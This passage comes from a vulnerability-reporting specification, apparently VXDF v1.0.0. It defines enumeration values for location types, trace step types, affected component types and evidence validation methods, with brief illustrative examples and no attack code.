- **Relevant `Location` Properties to Populate:**
  - `cloudPlatform` (String, Mandatory, Enum: "AWS", "Azure", "GCP", "OCI", "Other"): The cloud provider.
  - `cloudServiceName` (String, Optional): The specific cloud service involved (e.g., "IAM", "S3", "EC2SecurityGroup", "AzureAD", "GoogleCloudStorage", "KubernetesEngine").
  - `cloudResourceId` (String, Mandatory): The unique identifier for the cloud resource within the platform (e.g., AWS ARN, Azure Resource ID, GCP resource name/path, Kubernetes resource name with namespace).
  - `settingName` (String, Optional): Name of the specific attribute, policy element, or property that is misconfigured (e.g., "IAM Policy Statement SID", "S3 Bucket Policy Principal", "Security Group Inbound Rule Source").
  - `settingValue` (String, Optional): The misconfigured value or a snippet of the problematic policy/configuration.
  - `description` (String, Optional): e.g., "AWS S3 bucket policy ('s3://sensitive-data-bucket/policy.json') allows public read access via 'Principal':

'*'." or "Azure Network Security Group 'nsg-prod-web' has inbound rule allowing RDP from 'Any'.".

EXECUTABLE_BINARY_FUNCTION

- **Display Name:** Executable Binary Function/Offset
- **Definition:** Refers to a specific function (by name or symbol) or a memory offset within a compiled binary executable or shared library.
- **Usage Guidance:** Use for low-level vulnerabilities like buffer overflows, use-after-free, or other memory corruption issues found via binary analysis, reverse engineering, or fuzzing where source code is not available or the issue is specific to the compiled artifact. Typically used as a `Location` for source, sink, or steps when dealing with binary exploitation, or within `AffectedComponent.locations` if the `AffectedComponent.componentType` is `EXECUTABLE_FILE` or `SOFTWARE_LIBRARY` (for a compiled library).
- **Relevant `Location` Properties to Populate:**
    - `filePath` (String, Mandatory): Path to the executable binary file or shared library (e.g., /usr/lib/libvuln.so, C:\Program Files\App\app.exe).
    - `binaryFunctionName` (String, Optional): The demangled name of the function if known through symbols or reverse engineering (e.g., `_process_user_input`, `vulnerable_memcpy`).
    - `binaryOffset` (String, Optional, Hex Format): The memory offset (e.g., "0x4011ab") from the base of the binary (or module) to the vulnerable instruction or the start of the function. One of `binaryFunctionName` or `binaryOffset` should usually be present.
    - `snippet` (String, Optional): A snippet of disassembled code from that location.
    - `description` (String, Optional): e.g., "Buffer overflow at offset 0x004015C0 in `handle_packet` function of `network_daemon` executable.".

PROCESS_MEMORY_REGION

- **Display Name:** Process Memory Region
- **Definition:** Refers to a specific region, address, or address range within the memory space of a running process.
- **Usage Guidance:** Use for vulnerabilities involving direct memory manipulation that is observed at runtime (e.g., heap spraying targeting specific addresses, information leaks from known process memory locations, exploits that rely on predictable memory layouts or overwrite specific memory structures like function pointers or return addresses on the stack).
- **Relevant `Location` Properties to Populate:**
    - `symbol` (String, Optional): Name or ID of the target process or module within the process if relevant (e.g., "explorer.exe", "libshared.so within process 1234").

- `binaryOffset` (String, Mandatory, Hex Format): The starting virtual memory address of the region or the specific address of interest (e.g., "0x7ffebc123000", "0x0000555555554000"). (Note: The schema description for `binaryOffset` also applies here).
- `customProperties` (Object, Optional): Can be used to store additional details like region size (`{"regionSize": 4096}`), permissions (`{"permissions": "rwx"}`), or the nature of the content expected/found.
- `description` (String, Optional): e.g., "Sensitive cryptographic key material observed at memory address 0x00AABBCC in process 'secure_keystore_agent.exe'." or "Heap region starting at 0x7fff00001000 targeted by heap spray for exploit.".

USER_INTERFACE_ELEMENT

- **Display Name:** User Interface Element
- **Definition:** Refers to a specific element within a graphical user interface (GUI) of a desktop, mobile, or web application.
- **Usage Guidance:** Use for vulnerabilities that manifest or are exploited through interaction with specific UI elements. This includes issues like clickjacking, UI redressing, or describing the sink of a DOM-based Cross-Site Scripting (XSS) that manipulates a particular HTML element, or accessibility-related vulnerabilities that can be exploited.
- **Relevant `Location` Properties to Populate:**
    - `url` (String, Optional, URI Format): If a web UI element, the URL of the page where the element exists.
    - `symbol` (String, Mandatory): An identifier for the UI element. This could be: For web: HTML element ID, CSS selector (e.g., `#submitButton`, `.user-profile > .username`), or XPath. For desktop/mobile: Accessibility ID, widget name, resource ID.
    - `snippet` (String, Optional): HTML snippet of the element, or a description/screenshot reference of its visual properties.
    - `description` (String, Optional): e.g., "Login button (`#loginButton`) on https://example.com/login vulnerable to clickjacking via iframe overlay." or "DOM XSS sink at `document.getElementById('vulnerableDiv').innerHTML`." or "Password input field 'txtPassword' in login dialog allows paste, facilitating credential stuffing.".

GENERIC_RESOURCE_IDENTIFIER

- **Display Name:** Generic Resource Identifier
- **Definition:** A generic placeholder for a location that is identified primarily by a name, unique ID, or URI but does not fit neatly into any of the other more specific `locationType` categories.

- **Usage Guidance:** Use this sparingly when no other `locationType` adequately describes the entity. The `uri` (if it's a URI-addressable resource) or `symbol` (if it's a named or ID-based resource) properties should generally be populated. The `description` field is crucial to explain what this identifier refers to, its nature, and its relevance to the vulnerability.
- **Relevant `Location` Properties to Populate:**
    - `uri` (String, Optional, URI Format): A URI identifying the resource if applicable.
    - `symbol` (String, Optional): A name, ID, or other unique string that identifies the resource (e.g., a specific IoT device ID not fitting `HARDWARE_DEVICE` well, a logical entity in a proprietary protocol, a specific data record ID if not fitting `DATABASE_SCHEMA_OBJECT`).
    - `description` (String, Mandatory): A clear explanation of the resource being identified and its context.
    - **Example Context:** A vulnerability related to a uniquely named logical data channel "CHANNEL_XYZ" within a proprietary messaging system, where the channel itself is the locus of a flaw.

Appendix N: `TraceStep.stepType` - Definitions

This appendix provides definitions and usage guidance for the `stepType` enumeration values used within the `TraceStep` object in the VXDF v1.0.0 specification. The `stepType` field categorizes the primary action or nature of a specific step in an exploit path or data flow trace, helping to clarify how data or control progresses from a source to a sink.

SOURCE_INTERACTION

- **Display Name:** Source Interaction
- **Definition:** Represents a step where the application interacts with an external source to receive data or input that is relevant to the exploit flow. This is often the initial point where untrusted data enters the system.
- **Usage Guidance:** Typically used for the first significant step in a trace, corresponding to or immediately following the `ExploitFlow.source` location. Examples: Reading an HTTP request parameter, receiving data from a network socket, user input into a form field, reading from a file controlled by an external entity. The `TraceStep.location` would describe where this interaction occurs (e.g., a specific line of code reading `request.getParameter()`, a network listening function).
- **Example Context:** A step where `HttpServletRequest.getParameter("username")` is called to retrieve user input.

DATA_TRANSFORMATION

- **Display Name:** Data Transformation
- **Definition:** Represents a step where data relevant to the exploit flow is modified, converted, encoded, decoded, serialized, deserialized, or otherwise transformed.
- **Usage Guidance:** Use this when the data's form changes in a way that is significant to the flow (e.g., data being URL-decoded, base64-encoded, concatenated with other strings, parsed from JSON/XML, or undergoing cryptographic operations). This helps track how data might be manipulated to bypass filters or become exploitable.
- **Example Context:** A step where user input is URL-decoded, or where a string is built by concatenating user input with SQL query fragments.

DATA_PROPAGATION

- **Display Name:** Data Propagation
- **Definition:** Represents a step where data relevant to the exploit flow is passed from one variable to another, from a function argument to a return value, or between different components or layers of the application without significant transformation.
- **Usage Guidance:** Use this to show how tainted data moves through the codebase (e.g., assigned to a new variable, passed as an argument to another method, stored in an object field, returned from a function). Helps in understanding the reach of the tainted data.
- **Example Context:** A step where a variable holding user input is passed as an argument to a data access object (DAO) method.

CONTROL_FLOW_BRANCH

- **Display Name:** Control-Flow Branch / Decision Point
- **Definition:** Represents a step that involves a conditional branch (e.g., if-else, switch, loop condition) where the outcome of the branch is influenced by tainted data or is critical to the exploit path.
- **Usage Guidance:** Use this to highlight decision points that an attacker might control or that determine whether a vulnerable code path is executed. The `TraceStep.description` should clarify the condition and how it relates to the flow.
- **Example Context:** An `if` statement checks a user-controlled flag; if true, a vulnerable function is called, otherwise, a safe path is taken. This step would represent that `if` statement.

SINK_INTERACTION

- **Display Name:** Sink Interaction
- **Definition:** Represents a step where the tainted data interacts with a sensitive function, API, or operation (the "sink") in a way that leads to the manifestation of the vulnerability. This is often the final or penultimate step in the trace.
- **Usage Guidance:** Typically corresponds to or immediately precedes the `ExploitFlow.sink` location. Examples: Executing a SQL query with tainted data,

rendering unescaped data in an HTML response, passing user input to an OS command execution function, writing to a file with a user-controlled path.
- **Example Context:** A step where `Statement.executeQuery(sqlQueryWithTaintedData)` is called.

VALIDATION_OR_SANITIZATION

- **Display Name:** Validation or Sanitization Routine
- **Definition:** Represents a step where data relevant to the exploit flow passes through a security check, input validation routine, sanitization function, or encoding/escaping mechanism.
- **Usage Guidance:** Use this to explicitly show where security measures are applied (or are expected). The `TraceStep.description` should indicate whether the routine was effective, bypassed, or flawed. This is crucial for understanding why an exploit is possible despite apparent defenses.
- **Example Context:** A step where user input is passed to an `escapeHtml()` function. The description might note, "Input passed to `escapeHtml()`, but this function is ineffective against JavaScript in certain HTML attributes.".

CONFIGURATION_ACCESS

- **Display Name:** Configuration Access
- **Definition:** Represents a step where the application reads or uses a configuration setting that is relevant to the vulnerability's exploitability (e.g., a feature flag, a security policy setting, a file path from a config).
- **Usage Guidance:** Use this when a configuration value influences the vulnerability. The `TraceStep.description` should specify the configuration parameter and its value.
- **Example Context:** A step where the application reads a configuration key `feature.XYZ.enabled=true`, and this feature contains the vulnerable code path.

COMPONENT_CALL

- **Display Name:** Component Call / Library Interaction
- **Definition:** Represents a step where the application makes a call to a function or method within a distinct internal module, an external library, or a third-party component, and this call is part of the exploit flow.
- **Usage Guidance:** Use this to show interaction with specific components, especially if the component itself is vulnerable or processes the tainted data. The `TraceStep.location` can point to the call site in the application, and the description can name the component/function being called. If the component is detailed in `ExploitFlow.affectedComponents`, this step links the flow to that component.
- **Example Context:** A step where the main application code calls `vulnerableLibrary.processData(taintedUserInput)`.

STATE_CHANGE

- **Display Name:** Application State Change
- **Definition:** Represents a step where a significant change in the application's state occurs that is relevant to the vulnerability or its exploitation. This could be a change in user session state, object properties, or system flags.
- **Usage Guidance:** Use for vulnerabilities that depend on a sequence of state transitions or where the exploit itself causes a critical state change. The `TraceStep.description` should clearly explain the state before and after this step, or the nature of the state change.
- **Example Context:** A step where, after a series of actions, a user's role in the session changes from "user" to "admin" due to an authorization bypass.

INTERMEDIATE_NODE

- **Display Name:** Intermediate Node / Generic Step
- **Definition:** A generic step in the data flow or exploit path that does not fit neatly into the other more specific `stepType` categories but is still important for understanding the trace.
- **Usage Guidance:** Use this sparingly when other types are not suitable. The `TraceStep.description` is particularly important for this type to explain the relevance of the step.
- **Example Context:** A complex logical operation that doesn't directly transform data or call a component but is a necessary precursor in the exploit chain.

Appendix O: `AffectedComponent.componentType` - Definitions

This appendix provides definitions and usage guidance for the `componentType` enumeration values used within the `AffectedComponent` object in the VXDF v1.0.0 specification. The `componentType` field helps classify the nature of the component that is vulnerable or contributes to the vulnerability, which is particularly important for non-flow based findings or for specifying the context of any finding.

APPLICATION_MODULE

- **Display Name:** Application Module
- **Definition:** A distinct, self-contained functional unit or module within a larger custom-developed application (e.g., a user management module, a payment processing service within a monolithic application, a specific microservice in a larger architecture).

- **Usage Guidance:**
    - Use this when the vulnerability is specific to a logical part or a submodule of the primary application being assessed, rather than an external library or a standalone executable.
    - Helps pinpoint the area within a large application that requires attention.
    - The `AffectedComponent.name` would be the name of the module (e.g., "OrderProcessingModule," "AuthenticationService").
- **Example Context:** A privilege escalation vulnerability exists specifically within the "AdminReportingModule" of a large enterprise web application.

CLOUD_SERVICE_COMPONENT

- **Display Name:** Cloud Service Component
- **Definition:** A specific managed service or resource provided by a cloud platform vendor (e.g., AWS S3 bucket, Azure Function, GCP Cloud SQL instance, specific Kubernetes service configuration in EKS/GKE/AKS).
- **Usage Guidance:**
    - Use for vulnerabilities related to the misconfiguration, insecure usage, or inherent weaknesses within a specific cloud service instance or component.
    - The `AffectedComponent.name` could be the instance ID or a descriptive name of the cloud resource.
    - `AffectedComponent.locations` can be used to specify further details like region, resource ID, or specific misconfigured settings using the `Location` object with appropriate `locationType` (e.g., `CLOUD_PLATFORM_RESOURCE`).
- **Example Context:** An AWS S3 bucket (`AffectedComponent.name`: "customer-sensitive-data-bucket-prod") is found to have overly permissive public read access.

CONFIGURATION_FILE

- **Display Name:** Configuration File
- **Definition:** A file that contains settings, parameters, or configurations for an application, system, or service. The vulnerability stems from the content or properties of this file.
- **Usage Guidance:**
    - Use when a misconfiguration within a specific file is the root cause or a key part of the vulnerability (e.g., a web.xml with security constraints disabled, an nginx.conf with weak SSL ciphers, an application config.json containing hardcoded credentials).

    - The AffectedComponent.name should be the file name or a descriptive identifier.
    - AffectedComponent.locations can use Location.locationType: CONFIGURATION_FILE_SETTING or FILE_SYSTEM_ARTIFACT to point to the file path and specific settings within it.
    - Often associated with Evidence.evidenceType: CONFIGURATION_FILE_SNIPPET.
- **Example Context:** A database.properties file (AffectedComponent.name) contains plaintext database credentials.

CONTAINER_IMAGE

- **Display Name:** Container Image
- **Definition:** A container image (e.g., Docker, OCI) that is found to contain vulnerabilities, either in its base OS, installed software packages, or application code.
- **Usage Guidance:**
    - Use when vulnerabilities are identified within a specific container image, often through image scanning.
    - The AffectedComponent.name should be the image name and tag (e.g., "myorg/myapp:1.2.3").
    - AffectedComponent.purl can be used if the image has a Package URL representation.
    - Specific vulnerabilities within the image (e.g., a vulnerable OS package or library) can be detailed as separate AffectedComponent objects nested within the ExploitFlow or referenced, or described in the description and evidence.
- **Example Context:** The container image "nginx:1.21.0" (AffectedComponent.name) is found to use an outdated version of OpenSSL with known vulnerabilities.

DATA_STORE_INSTANCE

- **Display Name:** Data Store Instance
- **Definition:** A specific instance of a database, cache, or other data storage system (e.g., a MySQL server, a Redis instance, an Elasticsearch cluster). Vulnerabilities may relate to its configuration, version, or how it's deployed.
- **Usage Guidance:**
    - Use when the vulnerability is tied to a specific data store, such as unpatched database software, misconfigured access controls at the database level, or NoSQL injection if the database itself is the primary affected entity.

    - `AffectedComponent.name` could be the instance identifier or connection string alias.
    - `AffectedComponent.version` would be the database software version.
- **Example Context:** A MongoDB instance (`AffectedComponent.name`: "mongo-prod-cluster-01") is running an old version known to have a denial-of-service vulnerability.

EXECUTABLE_FILE

- **Display Name:** Executable File
- **Definition:** A compiled binary executable file (e.g., .exe, ELF binary, .app) that contains the vulnerability.
- **Usage Guidance:**
    - Use for vulnerabilities like buffer overflows, use-after-free, or other memory corruption issues found directly within a compiled application or utility.
    - Also applicable if the executable itself is malware or a trojanized version of legitimate software.
    - `AffectedComponent.name` should be the executable file name.
    - `AffectedComponent.version` can specify its version.
    - `AffectedComponent.locations` might use `Location.locationType: EXECUTABLE_BINARY_FUNCTION` or `FILE_SYSTEM_ARTIFACT` to specify details.
- **Example Context:** The binary `updater.exe` (`AffectedComponent.name`) version 1.2 has a stack-based buffer overflow when parsing a specific input file.

FIRMWARE

- **Display Name:** Firmware
- **Definition:** Software embedded within a hardware device that provides low-level control for the device's specific hardware.
- **Usage Guidance:**
    - Use for vulnerabilities found in the firmware of IoT devices, routers, embedded systems, UEFI/BIOS, etc..
    - `AffectedComponent.name` should describe the firmware (e.g., "RouterModelX Firmware," "Printer XYZ FOS").
    - `AffectedComponent.version` is crucial here.
    - The associated `AffectedComponent.locations` or even a separate `AffectedComponent` of `componentType: HARDWARE_DEVICE` can specify the hardware it runs on.

- **Example Context:** The firmware version "3.01b" for "SuperSecureRouter v2" (`AffectedComponent.name` and `version`) has a hardcoded administrative password.

HARDWARE_DEVICE

- **Display Name:** Hardware Device
- **Definition:** A physical piece of computing or network equipment (e.g., server, router, switch, IoT device, industrial control system component, peripheral).
- **Usage Guidance:**
  - Use when the vulnerability is inherent to the hardware itself (e.g., a side-channel attack vulnerability in a CPU like Spectre/Meltdown, a physical security flaw), or when the hardware device is the primary target and its firmware/software contains the vulnerability.
  - `AffectedComponent.name` should be the model name or identifier of the device.
  - `AffectedComponent.version` might refer to a hardware revision.
  - Often used in conjunction with a `FIRMWARE` or `OPERATING_SYSTEM` component type if the vulnerability is in the software running on the hardware.
- **Example Context:** A specific model of a network switch, "EnterpriseSwitch XG-24" (`AffectedComponent.name`), is susceptible to a physical tampering attack that bypasses authentication.

NETWORK_INFRASTRUCTURE_DEVICE

- **Display Name:** Network Infrastructure Device
- **Definition:** A specialized type of hardware device specifically part of the network infrastructure, such as a router, switch, firewall, load balancer, or wireless access point.
- **Usage Guidance:**
  - Use this for vulnerabilities specific to the configuration, firmware, or operating system of these network devices.
  - This provides more specificity than generic `HARDWARE_DEVICE`.
  - `AffectedComponent.name` should be the model name or hostname.
  - `AffectedComponent.version` can refer to the firmware or OS version.
- **Example Context:** A "CorpFirewall-01" (`AffectedComponent.name`) running firmware "FWOS 6.2" has a default administrative credential.

OPERATING_SYSTEM

- **Display Name:** Operating System

- **Definition:** The core software that manages computer hardware and software resources and provides common services for computer programs (e.g., Windows, Linux, macOS, Android, iOS).
- **Usage Guidance:**
    - Use when a vulnerability is found within the operating system itself (kernel, core libraries, system services) or is due to a misconfiguration at the OS level.
    - `AffectedComponent.name` should be the OS name (e.g., "Ubuntu Linux," "Windows Server 2019").
    - `AffectedComponent.version` should specify the OS version/build (e.g., "22.04 LTS," "10.0.17763").
    - `AffectedComponent.cpe` is often very useful here.
- **Example Context:** The "Microsoft Windows 10 Pro" (`AffectedComponent.name`) version "21H2" (`AffectedComponent.version`) is vulnerable to a specific privilege escalation CVE in a system service.

PROTOCOL_SPECIFICATION

- **Display Name:** Protocol Specification
- **Definition:** A formal description of digital message formats and the rules for exchanging those messages. The vulnerability lies within the design of the protocol itself, rather than a specific implementation.
- **Usage Guidance:**
    - Use this for design flaws in network or communication protocols (e.g., a cryptographic weakness in an early version of TLS, a logical flaw in an authentication protocol).
    - `AffectedComponent.name` would be the protocol name (e.g., "TLS", "SMBv1", "CustomAuthProtocol").
    - `AffectedComponent.version` would specify the protocol version if applicable (e.g., "1.0", "v2").
    - Implementations of this protocol would then be vulnerable. The `ExploitFlow` might also list specific software using this protocol in other `AffectedComponent` entries.
- **Example Context:** The "WEP" (`AffectedComponent.name`) wireless security protocol has fundamental design flaws allowing for key recovery.

SERVICE_ENDPOINT

- **Display Name:** Service Endpoint

- **Definition:** A network-accessible address (e.g., URL, IP:Port combination) where a specific service or API is exposed. Vulnerabilities often relate to how this endpoint handles requests, its configuration, or the service logic behind it.
- **Usage Guidance:**
    - Use for vulnerabilities tied to a specific service endpoint, such as an API endpoint vulnerable to injection, an unprotected management interface, or a service exposing sensitive information.
    - `AffectedComponent.name` could be the URL or a descriptive name for the endpoint (e.g., "https://api.example.com/v1/users," "Admin Login Portal").
    - `AffectedComponent.locations` can use `Location.locationType: NETWORK_SERVICE_ENDPOINT` to provide details like IP, port, and protocol.
- **Example Context:** The API endpoint "https://api.example.com/data/export" (`AffectedComponent.name`) is missing authentication, allowing unauthenticated access to sensitive data.

SOFTWARE_LIBRARY

- **Display Name:** Software Library/Dependency
- **Definition:** A reusable collection of code, often a third-party dependency, that is used by the main application or another component (e.g., Log4j, OpenSSL, jQuery, Apache Commons Text).
- **Usage Guidance:**
    - This is the primary type for vulnerabilities originating from third-party libraries, typically identified by SCA tools.
    - `AffectedComponent.name` should be the library name (e.g., "Apache Commons Text," "jQuery").
    - `AffectedComponent.version` is critical (e.g., "1.9," "3.5.1").
    - `AffectedComponent.purl` and `AffectedComponent.cpe` are highly recommended for precise identification.
    - As noted in `Evidence.evidenceType: VULNERABLE_COMPONENT_SCAN_OUTPUT` usage guidance, a VXDF `ExploitFlow` for this component type should ideally also include evidence of *contextual exploitability* within the application.
- **Example Context:** The application uses "Log4j" (`AffectedComponent.name`) version "2.14.1" (`AffectedComponent.version`), which is vulnerable to Log4Shell (CVE-2021-44228).

OTHER_COMPONENT

- **Display Name:** Other Component

- **Definition:** Used for any type of affected component that does not clearly fit into one of the more specific predefined categories.
- **Usage Guidance:**
    - Use this sparingly when no other `componentType` accurately describes the affected entity.
    - When using this value, the `AffectedComponent.name` and `AffectedComponent.description` fields `SHOULD` be used to provide as much clarity as possible about the nature of the component.
- **Example Context:** A vulnerability in a highly custom, proprietary hardware/software interface that doesn't map well to "Hardware Device" or "Firmware" distinctly.

Appendix P: `Evidence.validationMethod` - Definitions

This appendix provides definitions and usage guidance for the `validationMethod` enumeration values used within the `Evidence` object in the VXDF v1.0.0 specification. The `validationMethod` field describes the primary technique or approach used to obtain or confirm the specific piece of evidence that supports the claim of a vulnerability's exploitability. Selecting the most accurate `validationMethod` adds crucial context to the evidence.

`STATIC_ANALYSIS_VALIDATION`

- **Display Name:** Static Analysis Validation
- **Definition:** Indicates that the evidence was derived or confirmed through static analysis techniques, potentially involving advanced reasoning over code, beyond initial SAST tool findings. This implies a higher degree of confidence or specific validation of a static finding, often involving manual review of SAST results or specialized static analysis.
- **Usage Guidance:**
    - Use when a potential vulnerability initially flagged by a SAST tool has been further investigated and confirmed as a true positive through deeper static analysis (e.g., manual code path tracing, symbolic execution, or expert review of the static alert in context).
    - This method is distinct from just reporting a raw SAST finding; it implies a *validation* step using static methods.

    - The evidence itself might be a `CODE_SNIPPET_SINK`, `STATIC_ANALYSIS_DATA_FLOW_PATH`, or `MANUAL_VERIFICATION_NOTES` detailing the static validation.
    - **Example Context:** A SAST tool flags a potential SQL injection. A security analyst manually reviews the code flow from source to sink, confirming no effective sanitization is present, and uses this method to describe the evidence (e.g., the annotated code path).

`DYNAMIC_ANALYSIS_EXPLOIT`

- **Display Name:** Dynamic Analysis Exploit
- **Definition:** Indicates that the evidence was obtained by actively testing a running application or system, typically using a Dynamic Application Security Testing (DAST) tool or similar automated dynamic methods, and successfully triggering or exploiting the vulnerability.
- **Usage Guidance:**
    - Use when a DAST scanner, fuzzer (that doesn't just cause a crash but elicits specific exploitable behavior), or custom dynamic test script successfully demonstrates the vulnerability.
    - Common evidence types associated with this method include `HTTP_REQUEST_LOG`, `HTTP_RESPONSE_LOG`, `TEST_PAYLOAD_USED`, `RUNTIME_EXCEPTION_TRACE`, or `OBSERVED_BEHAVIORAL_CHANGE`.
    - **Example Context:** A DAST tool sends a crafted payload to a web application and receives a response indicating a successful SQL injection (e.g., error message, altered content).

`INTERACTIVE_APPLICATION_SECURITY_TESTING_EXPLOIT`

- **Display Name:** Interactive Application Security Testing (IAST) Exploit
- **Definition:** Indicates that the evidence was obtained from an Interactive Application Security Testing (IAST) tool, which typically instruments the running application to observe exploit attempts and confirm their success from within the application.
- **Usage Guidance:**
    - Use when an IAST agent deployed within the application environment detects and confirms an exploit attempt, often providing detailed runtime information.

  - Associated evidence might include `RUNTIME_EXCEPTION_TRACE`, `CODE_SNIPPET_SINK` (identified by IAST at runtime), `TEST_PAYLOAD_USED` (captured by IAST), or `RUNTIME_APPLICATION_LOG_ENTRY` generated by the IAST agent.
  - **Example Context:** An IAST tool observes a test payload reaching a vulnerable function (e.g., a SQL execution sink) without proper sanitization and flags it as a confirmed exploit.

`MANUAL_CODE_REVIEW_CONFIRMATION`

- **Display Name:** Manual Code Review Confirmation
- **Definition:** Indicates that the vulnerability and its exploitability were confirmed through a manual, human-driven review of the source code.
- **Usage Guidance:**
  - Use when a security expert or developer has meticulously reviewed the relevant code sections and determined that a vulnerability exists and is exploitable based on the logic, data handling, and lack of defenses observed in the code.
  - This often complements or validates findings from other tools (SAST, DAST).
  - Evidence might include `CODE_SNIPPET_SOURCE`, `CODE_SNIPPET_SINK`, `MANUAL_VERIFICATION_NOTES` detailing the review process and findings, or a `STATIC_ANALYSIS_DATA_FLOW_PATH` constructed manually.
  - **Example Context:** A developer, reviewing a security concern, traces user input through the codebase and identifies a point where it's used unsafely in a critical function, confirming the flaw without necessarily running an active exploit.

`MANUAL_PENETRATION_TESTING_EXPLOIT`

- **Display Name:** Manual Penetration Testing Exploit
- **Definition:** Indicates that the evidence was obtained through hands-on, human-driven penetration testing activities where a tester actively attempted to exploit the vulnerability and succeeded.
- **Usage Guidance:**
  - Use for findings confirmed by a penetration tester using their expertise and tools (like proxy scanners, custom scripts, or manual interaction) to craft and execute an exploit.

    - This method often yields rich, contextual evidence such as HTTP_REQUEST_LOG, HTTP_RESPONSE_LOG, POC_SCRIPT (describing manual steps), SCREENSHOT_URL/SCREENSHOT_EMBEDDED_BASE64, OBSERVED_BEHAVIORAL_CHANGE, or EXTERNAL_INTERACTION_PROOF.
    - **Example Context:** A penetration tester uses a web proxy to intercept requests, modifies parameters to inject a payload, and observes the successful exploitation of a vulnerability.

AUTOMATED_EXPLOIT_TOOL_CONFIRMATION

- **Display Name:** Automated Exploit Tool Confirmation
- **Definition:** Indicates that the evidence was generated by a specialized automated tool designed specifically to exploit known vulnerabilities (e.g., Metasploit, SQLMap, or custom exploit scripts from a framework).
- **Usage Guidance:**
    - Use when an automated exploitation framework or tool was used to confirm that a known vulnerability (e.g., a specific CVE) is exploitable against the target.
    - Evidence might include COMMAND_EXECUTION_OUTPUT, TOOL_SPECIFIC_OUTPUT_LOG, TEST_PAYLOAD_USED (as configured in the tool), or EXTERNAL_INTERACTION_PROOF.
    - **Example Context:** SQLMap is used against a web application, and it successfully extracts database schema information, confirming a SQL injection.

SOFTWARE_COMPOSITION_ANALYSIS_CONTEXTUAL_VALIDATION

- **Display Name:** Software Composition Analysis (SCA) Contextual Validation
- **Definition:** Indicates that a vulnerability identified in a third-party component by an SCA tool has been further analyzed to confirm its exploitability within the specific context of how the application uses that component. This goes beyond simply noting the presence of a vulnerable library.
- **Usage Guidance:**
    - Use when an SCA tool flags a vulnerable dependency, and subsequent analysis (which could be manual code review, targeted dynamic testing, or static reachability analysis) confirms that the vulnerable functions of the component are reachable and conditions for exploitability are met within the application.

    - The primary evidence might be `VULNERABLE_COMPONENT_SCAN_OUTPUT` (from the SCA tool), augmented by `CODE_SNIPPET_SINK` (showing the application calling the vulnerable library function), `TEST_PAYLOAD_USED` (if an exploit was crafted), or `STATIC_ANALYSIS_DATA_FLOW_PATH` (showing data flow into the vulnerable component).
    - **Example Context:** An SCA tool reports Log4j v2.14.1 is used. Further analysis shows the application code uses JNDI lookups with user-controlled data passed to Log4j, confirming the exploitability of CVE-2021-44228 (Log4Shell) in this context.

`FUZZ_TESTING_CRASH_ANALYSIS`

- **Display Name:** Fuzz Testing Crash Analysis
- **Definition:** Indicates that the evidence stems from a fuzz testing campaign where a generated input caused the application to crash or behave in an anomalous way, and subsequent analysis of the crash (e.g., debugger output, memory dump) points to an exploitable security vulnerability (like a buffer overflow or use-after-free).
- **Usage Guidance:**
    - Use when fuzzing is the primary method of discovering the condition.
    - The evidence should ideally include the input that caused the crash (`TEST_PAYLOAD_USED`), details of the crash itself (`RUNTIME_EXCEPTION_TRACE`, `RUNTIME_DEBUGGER_OUTPUT`), and any analysis that links the crash to a security implication.
    - **Example Context:** A fuzzer sends a malformed file to an application, causing a segmentation fault. Debugging shows the crash is due to a controllable buffer overflow at a specific instruction pointer.

`REVERSE_ENGINEERING_PROOF`

- **Display Name:** Reverse Engineering Proof
- **Definition:** Indicates that the evidence was obtained through reverse engineering of compiled code (e.g., binary analysis, disassembly, decompilation) to identify and confirm a vulnerability and its exploit mechanism.
- **Usage Guidance:**
    - Use for vulnerabilities found in closed-source software, firmware, or mobile applications where source code is unavailable.

    - Evidence might include `CODE_SNIPPET_CONTEXT` (showing disassembled or decompiled code), `MANUAL_VERIFICATION_NOTES` detailing the RE process, or `RUNTIME_DEBUGGER_OUTPUT` from stepping through the binary.
    - **Example Context:** An analyst disassembles a binary, identifies a weak encryption algorithm or a hardcoded key, and uses this method to describe the evidence.

`CONFIGURATION_AUDIT_VERIFICATION`

- **Display Name:** Configuration Audit Verification
- **Definition:** Indicates that the evidence was obtained by auditing system, application, or cloud service configurations against security benchmarks, best practices, or specific vulnerability signatures, and a deviation confirming a weakness was found.
- **Usage Guidance:**
    - Use for vulnerabilities that are purely due to insecure configurations (e.g., weak TLS cipher suites enabled, overly permissive S3 bucket ACLs, default credentials unchanged on a network device).
    - This is distinct from `CONFIGURATION_FILE_SNIPPET` if the audit was performed via an API, a scanning tool that checks live configurations, or by inspecting a running system's settings rather than just a static file.
    - Evidence would typically be `CONFIGURATION_FILE_SNIPPET` (if the config is file-based and was reviewed), `MISSING_ARTIFACT_VERIFICATION` (if a secure setting is absent), or `TOOL_SPECIFIC_OUTPUT_LOG` from a configuration auditing tool.
    - **Example Context:** A cloud security posture management (CSPM) tool scans an AWS environment and reports an S3 bucket is publicly readable due to its ACL settings.

`LOG_ANALYSIS_CORRELATION`

- **Display Name:** Log Analysis Correlation
- **Definition:** Indicates that the evidence was derived from analyzing and correlating entries across one or more log sources (e.g., application logs, web server logs, firewall logs, SIEM alerts) to identify a pattern of activity that confirms a vulnerability or an ongoing exploit.
- **Usage Guidance:**

    - Use when multiple log entries, when viewed together, provide proof of an exploit that might not be obvious from a single entry.
    - This can be useful for detecting complex attacks, business logic flaws, or correlating reconnaissance with exploitation.
    - Evidence would typically consist of multiple RUNTIME_APPLICATION_LOG_ENTRY (or other log types) items, often accompanied by MANUAL_VERIFICATION_NOTES explaining the correlation and deduction.
    - **Example Context:** Correlating web server access logs showing an unusual sequence of requests with application error logs indicating a specific internal failure, together proving an IDOR.

HYBRID_VALIDATION

- **Display Name:** Hybrid Validation
- **Definition:** Indicates that the evidence was obtained through a combination of multiple validation methods where no single method is predominant or fully captures the validation process.
- **Usage Guidance:**
    - Use when the validation involved a tight interplay of different techniques (e.g., SAST identified a potential flaw, DAST was used to confirm reachability to a certain point, and manual code review of a specific function then confirmed the final exploit logic).
    - The ExploitFlow.description or individual Evidence item descriptions should clarify the hybrid approach taken.
    - The Evidence array would likely contain items with different validationMethods, or this top-level method indicates the overall approach to gathering the collective evidence.
    - **Example Context:** A SAST tool points to a potential injection. A DAST scan confirms that an endpoint can be reached but doesn't trigger the full exploit. A manual review then confirms the internal logic is flawed, and a carefully crafted payload (tested manually) finally proves the exploit. The overall validation is hybrid.

OTHER_VALIDATION_METHOD

- **Display Name:** Other Validation Method

- **Definition:** Indicates that the evidence was obtained using a validation method not adequately described by the other predefined enumeration values.
- **Usage Guidance:**
  - Use this sparingly when no other `validationMethod` accurately reflects how the evidence was obtained or the vulnerability was validated.
